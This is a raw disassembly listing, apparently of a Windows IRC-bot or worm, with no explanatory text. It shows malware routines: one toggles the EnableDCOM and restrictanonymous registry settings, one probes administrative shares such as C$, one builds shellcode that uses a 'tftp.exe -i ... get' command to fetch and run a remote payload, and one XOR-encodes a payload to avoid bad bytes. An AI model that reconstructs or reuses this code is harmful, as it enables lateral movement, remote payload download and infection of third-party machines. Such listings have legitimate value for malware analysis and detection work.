		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_43A3AC
		test	eax, eax
		jz	short loc_414729
		push	offset unk_43797C
		jmp	short loc_41472E
; ---------------------------------------------------------------------------


loc_414729:				; CODE XREF: sub_4146BC+64j
		push	offset dword_43794C


loc_41472E:				; CODE XREF: sub_4146BC+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43A364
		jmp	short loc_41475A
; ---------------------------------------------------------------------------


loc_414747:				; CODE XREF: sub_4146BC+36j
		lea	eax, [ebp+var_214]
		push	offset unk_437908
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx


loc_41475A:				; CODE XREF: sub_4146BC+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_414779
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_414779:				; CODE XREF: sub_4146BC+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_43A3F8
		test	eax, eax
		jnz	short loc_4147E7
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	ds:dword_43A3AC
		test	eax, eax
		jz	short loc_4147C9
		push	offset unk_4378A4
		jmp	short loc_4147CE
; ---------------------------------------------------------------------------


loc_4147C9:				; CODE XREF: sub_4146BC+104j
		push	offset unk_43785C


loc_4147CE:				; CODE XREF: sub_4146BC+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43A364
		jmp	short loc_414801
; ---------------------------------------------------------------------------


loc_4147E7:				; CODE XREF: sub_4146BC+E2j
		push	offset unk_43780C
		jmp	short loc_4147F3
; ---------------------------------------------------------------------------


loc_4147EE:				; CODE XREF: sub_4146BC+13j
		push	offset unk_4377C8


loc_4147F3:				; CODE XREF: sub_4146BC+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx


loc_414801:				; CODE XREF: sub_4146BC+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_414820
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_414820:				; CODE XREF: sub_4146BC+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		cmp	ds:dword_43A480, edi
		pop	ecx
		jnz	loc_41499B
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_414843:				; CODE XREF: sub_4146BC+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	ds:dword_43A2D4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4148E0
		cmp	eax, 0EAh
		jz	short loc_4148E0
		mov	esi, offset off_437618


loc_414874:				; CODE XREF: sub_4146BC+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_41339F
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41488B
		push	offset unk_437790
		jmp	short loc_414890
; ---------------------------------------------------------------------------


loc_41488B:				; CODE XREF: sub_4146BC+1C6j
		push	offset unk_437750


loc_414890:				; CODE XREF: sub_4146BC+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_4148C3
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_4148C3:				; CODE XREF: sub_4146BC+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_437638
		jl	short loc_414874
		jmp	loc_414978
; ---------------------------------------------------------------------------


loc_4148E0:				; CODE XREF: sub_4146BC+1AAj
					; sub_4146BC+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41496F


loc_4148EF:				; CODE XREF: sub_4146BC+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_4179DC
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_414964
		push	edi
		call	sub_41328C
		push	eax
		push	0
		call	sub_41339F
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41491E
		push	offset unk_437718
		jmp	short loc_414923
; ---------------------------------------------------------------------------


loc_41491E:				; CODE XREF: sub_4146BC+259j
		push	offset unk_4376D8


loc_414923:				; CODE XREF: sub_4146BC+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414957
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_414957:				; CODE XREF: sub_4146BC+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		pop	ecx


loc_414964:				; CODE XREF: sub_4146BC+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4148EF
		xor	edi, edi


loc_41496F:				; CODE XREF: sub_4146BC+22Dj
		push	[ebp+var_8]
		call	ds:dword_43A418


loc_414978:				; CODE XREF: sub_4146BC+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_414843
		lea	eax, [ebp+var_214]
		push	offset unk_43769C
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_4149AE
; ---------------------------------------------------------------------------


loc_41499B:				; CODE XREF: sub_4146BC+177j
		lea	eax, [ebp+var_214]
		push	offset unk_437658
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx


loc_4149AE:				; CODE XREF: sub_4146BC+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_4149CC
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_4149CC:				; CODE XREF: sub_4146BC+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4146BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149E0	proc near		; CODE XREF: seg000:loc_4146A3p

var_3BA7640	= byte ptr -3BA7640h
var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_43A458, ebx
		push	esi
		jnz	loc_414B0E
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_43A3F8
		test	eax, eax
		jnz	short loc_414A6B
		mov	ax, ds:word_437BC8
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_43A3AC
		test	eax, eax
		jz	short loc_414A4D
		push	offset unk_437B90
		jmp	short loc_414A52
; ---------------------------------------------------------------------------


loc_414A4D:				; CODE XREF: sub_4149E0+64j
		push	offset dword_437B60


loc_414A52:				; CODE XREF: sub_4149E0+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43A364
		jmp	short loc_414A7E
; ---------------------------------------------------------------------------


loc_414A6B:				; CODE XREF: sub_4149E0+36j
		lea	eax, [ebp+var_220]
		push	offset unk_437908
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx


loc_414A7E:				; CODE XREF: sub_4149E0+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414A9D
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_414A9D:				; CODE XREF: sub_4149E0+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_43A3F8
		test	eax, eax
		jnz	short loc_414B07
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	ds:dword_43A3AC
		test	eax, eax
		jz	short loc_414AE9
		push	offset unk_437B10
		jmp	short loc_414AEE
; ---------------------------------------------------------------------------


loc_414AE9:				; CODE XREF: sub_4149E0+100j
		push	offset unk_437AC8


loc_414AEE:				; CODE XREF: sub_4149E0+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43A364
		jmp	short loc_414B21
; ---------------------------------------------------------------------------


loc_414B07:				; CODE XREF: sub_4149E0+E2j
		push	offset unk_437A78
		jmp	short loc_414B13
; ---------------------------------------------------------------------------


loc_414B0E:				; CODE XREF: sub_4149E0+13j
		push	offset unk_4377C8


loc_414B13:				; CODE XREF: sub_4149E0+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx


loc_414B21:				; CODE XREF: sub_4149E0+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414B40
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_414B40:				; CODE XREF: sub_4149E0+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		cmp	ds:dword_43A480, ebx
		pop	ecx
		jnz	loc_414CB2
		push	edi
		mov	esi, offset off_437618
		mov	edi, 200h


loc_414B64:				; CODE XREF: sub_4149E0+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_4132F3
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_414B7F
		push	offset unk_437A44
		jmp	short loc_414B84
; ---------------------------------------------------------------------------


loc_414B7F:				; CODE XREF: sub_4149E0+196j
		push	offset unk_437A08


loc_414B84:				; CODE XREF: sub_4149E0+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414BB3
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_414BB3:				; CODE XREF: sub_4149E0+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_437628
		jl	short loc_414B64
		call	near ptr 0A80000h
		cmp	[ebp+var_3BA7640], al
		mov	bl, 41h
		jz	loc_414C9A


loc_414BDE:				; CODE XREF: sub_4149E0+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_414C8F
		cmp	bl, 41h
		jz	loc_414C8F
		movsx	esi, bl
		push	esi
		push	offset aC_3	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_415A6A
		push	esi
		push	offset aC_2	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_415A6A
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_43A3E8
		cmp	eax, 3
		jnz	short loc_414C8F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_4132F3
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_414C4D
		push	offset unk_437A44
		jmp	short loc_414C52
; ---------------------------------------------------------------------------


loc_414C4D:				; CODE XREF: sub_4149E0+264j
		push	offset unk_437A08


loc_414C52:				; CODE XREF: sub_4149E0+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414C82
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_414C82:				; CODE XREF: sub_4149E0+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		pop	ecx


loc_414C8F:				; CODE XREF: sub_4149E0+206j
					; sub_4149E0+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_414BDE


loc_414C9A:				; CODE XREF: sub_4149E0+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_4379C4
		push	eax
		call	sub_4154E9
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_414CC5
; ---------------------------------------------------------------------------


loc_414CB2:				; CODE XREF: sub_4149E0+173j
		lea	eax, [ebp+var_220]
		push	offset unk_437658
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx


loc_414CC5:				; CODE XREF: sub_4149E0+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414CE3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_414CE3:				; CODE XREF: sub_4149E0+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4149E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CF7	proc near		; CODE XREF: sub_414D17+Ap
					; sub_414DEF+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_415CF0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_415CF0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_414CF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D17	proc near		; CODE XREF: sub_414E06+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_414CF7
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_414D34
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_414D34:				; CODE XREF: sub_414D17+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_415CF0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_415CF0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	ds:dword_437C60, eax
		lea	eax, [edi+1]
		mov	ds:dword_437C81, eax
		lea	eax, [edi+17h]
		mov	ds:dword_437C79, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_437BFC
		push	ebx
		mov	ds:dword_437C8F, eax
		call	sub_4155D0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4155D0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155D0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155D0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155D0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_4155D0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_437C85
		push	esi
		call	sub_4155D0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414D17	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DEF	proc near		; CODE XREF: sub_414E06+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_414CF7
		push	eax
		call	sub_414E73
		add	esp, 0Ch
		retn
sub_414DEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E06	proc near		; CODE XREF: sub_403178+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_414DEF
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_414E26
		cmp	eax, 0FFFFh
		jbe	short loc_414E2A


loc_414E26:				; CODE XREF: sub_414E06+17j
		xor	eax, eax
		jmp	short loc_414E6F
; ---------------------------------------------------------------------------


loc_414E2A:				; CODE XREF: sub_414E06+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_414CF7
		add	eax, 101h
		push	eax
		call	sub_415DC9
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_414CF7
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_414D17
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414E8E
		push	esi
		mov	edi, eax
		call	sub_415E3D
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_414E6F:				; CODE XREF: sub_414E06+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_414E06	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E73	proc near		; CODE XREF: sub_414DEF+Ep
					; sub_414E8E+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_414E7C
		inc	ecx


loc_414E7C:				; CODE XREF: sub_414E73+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_414E73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E8E	proc near		; CODE XREF: sub_414E06+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_414EAA
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_414EAA
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_414EAA
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_414EAD


loc_414EAA:				; CODE XREF: sub_414E8E+8j
					; sub_414E8E+Ej ...
		inc	[ebp+arg_C]


loc_414EAD:				; CODE XREF: sub_414E8E+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_414ED5
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_414ECE
		cmp	al, 0Dh
		jz	short loc_414ECE
		cmp	al, 5Ch
		jz	short loc_414ECE
		test	al, al
		jnz	short loc_414ED5


loc_414ECE:				; CODE XREF: sub_414E8E+32j
					; sub_414E8E+36j ...
		add	[ebp+arg_C], 100h


loc_414ED5:				; CODE XREF: sub_414E8E+28j
					; sub_414E8E+3Ej
		push	[ebp+arg_C]
		call	sub_414E73
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_414EED
		cmp	eax, 0FFFFh
		jbe	short loc_414EF4


loc_414EED:				; CODE XREF: sub_414E8E+56j
		xor	eax, eax
		jmp	loc_414F92
; ---------------------------------------------------------------------------


loc_414EF4:				; CODE XREF: sub_414E8E+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, ds:byte_469458
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_414F24


loc_414F08:				; CODE XREF: sub_414E8E+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_414F1B
		cmp	al, 0Ah
		jz	short loc_414F1B
		cmp	al, 0Dh
		jz	short loc_414F1B
		cmp	al, 5Ch
		jnz	short loc_414F1F


loc_414F1B:				; CODE XREF: sub_414E8E+7Fj
					; sub_414E8E+83j ...
		inc	bl
		xor	edx, edx


loc_414F1F:				; CODE XREF: sub_414E8E+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_414F08


loc_414F24:				; CODE XREF: sub_414E8E+78j
		cmp	ecx, esi
		mov	ds:byte_469458,	bl
		ja	short loc_414F50
		push	15h
		push	offset loc_437BE4
		push	[ebp+arg_0]
		mov	ds:byte_437BF1,	cl
		mov	ds:byte_437BF5,	bl
		call	sub_4155D0
		add	esp, 0Ch
		push	15h
		jmp	short loc_414F71
; ---------------------------------------------------------------------------


loc_414F50:				; CODE XREF: sub_414E8E+9Ej
		push	17h
		push	offset loc_437BCC
		push	[ebp+arg_0]
		mov	ds:word_437BDA,	cx
		mov	ds:byte_437BDF,	bl
		call	sub_4155D0
		add	esp, 0Ch
		push	17h


loc_414F71:				; CODE XREF: sub_414E8E+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_414F8D
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_414F7F:				; CODE XREF: sub_414E8E+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_414F7F


loc_414F8D:				; CODE XREF: sub_414E8E+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_414F92:				; CODE XREF: sub_414E8E+61j
		pop	esi
		leave
		retn
sub_414E8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F95	proc near		; CODE XREF: sub_406100+220p
					; seg000:00407366p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43F318


loc_414F9D:				; CODE XREF: sub_414F95+18j
		cmp	byte ptr [eax],	0
		jz	short loc_414FB1
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_468808
		jl	short loc_414F9D
		jmp	short loc_414FFC
; ---------------------------------------------------------------------------


loc_414FB1:				; CODE XREF: sub_414F95+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43F318[esi]
		push	eax
		call	sub_416D40
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	ds:dword_43F518[esi], eax
		and	ds:dword_43F51C[esi], 0
		mov	eax, [esp+8+arg_8]
		and	ds:dword_43F520[esi], 0
		mov	ds:dword_43F524[esi], eax
		and	ds:byte_43F530[esi], 0
		pop	esi


loc_414FFC:				; CODE XREF: sub_414F95+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_414F95	endp

; ---------------------------------------------------------------------------
dword_415000	dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh
					; DATA XREF: seg000:00412488o
		dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh
		dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h
		dd 0B1E8006Ah, 860066AFh, 8B555E5Fh, 0EC81ECh, 56000002h
		dd 0FF006A57h, 0C0681075h, 0FF00437Ch, 75FF0C75h, 0DCDCE808h
		dd 0C483FFFFh, 0BEFF3314h, 43F318h, 74003E80h, 147D833Ch
		dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h
		dd 435C8468h, 46E85000h, 6A000004h, 858D01h, 0FFFFFFFEh
		dd 0FF501075h, 75FF0C75h, 0DC94E808h, 0C483FFFFh, 34C68124h
		dd 47000002h, 8808FE81h, 0B07C0046h, 0C3C95E5Fh

; =============== S U B	R O U T	I N E =======================================



sub_4150D0	proc near		; CODE XREF: seg000:00411869p
					; sub_41515E+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_415158
		cmp	esi, 12Ch
		jge	short loc_415158
		imul	esi, 234h
		push	edi
		push	ebx
		push	ds:dword_43F52C[esi]
		lea	edi, dword_43F52C[esi]
		call	near ptr 0A80000h
		fstp	qword ptr [edi]	; (emulator call)
		jz	short loc_415108
		push	1
		pop	ebp


loc_415108:				; CODE XREF: sub_4150D0+33j
		mov	[edi], ebx
		lea	edi, dword_43F520[esi]
		mov	ds:dword_43F518[esi], ebx
		mov	ds:dword_43F51C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_415129
		push	eax
		call	sub_414063
		pop	ecx


loc_415129:				; CODE XREF: sub_4150D0+50j
		mov	[edi], ebx
		lea	edi, dword_43F524[esi]
		mov	byte ptr ds:dword_43F318[esi], bl
		mov	ds:byte_43F530[esi], bl
		push	dword ptr [edi]
		call	ds:dword_43A420
		lea	esi, dword_43F528[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	ds:dword_43A420
		mov	[esi], ebx
		pop	edi


loc_415158:				; CODE XREF: sub_4150D0+Dj
					; sub_4150D0+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4150D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41515E	proc near		; CODE XREF: sub_409E15:loc_409E39p
					; seg000:0040C5B2p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43F318


loc_41516A:				; CODE XREF: sub_41515E+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_41517B
		push	edi
		call	sub_4150D0
		test	eax, eax
		pop	ecx
		jz	short loc_41517B
		inc	ebx


loc_41517B:				; CODE XREF: sub_41515E+Fj
					; sub_41515E+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_468808
		jl	short loc_41516A
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41515E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415190	proc near		; CODE XREF: seg000:0040EB1Ep
					; seg000:0040EB8Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43F51C


loc_4151A4:				; CODE XREF: sub_415190+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4151C6
		test	edi, edi
		jle	short loc_4151B8
		cmp	[esi], edi
		jz	short loc_4151B8
		cmp	ebx, edi
		jnz	short loc_4151C6


loc_4151B8:				; CODE XREF: sub_415190+1Ej
					; sub_415190+22j
		push	ebx
		call	sub_4150D0
		test	eax, eax
		pop	ecx
		jz	short loc_4151C6
		inc	[ebp+var_4]


loc_4151C6:				; CODE XREF: sub_415190+1Aj
					; sub_415190+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_468A0C
		jl	short loc_4151A4
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415190	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151DD	proc near		; CODE XREF: sub_4071FF+Bp
					; seg000:004072A3p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43F518


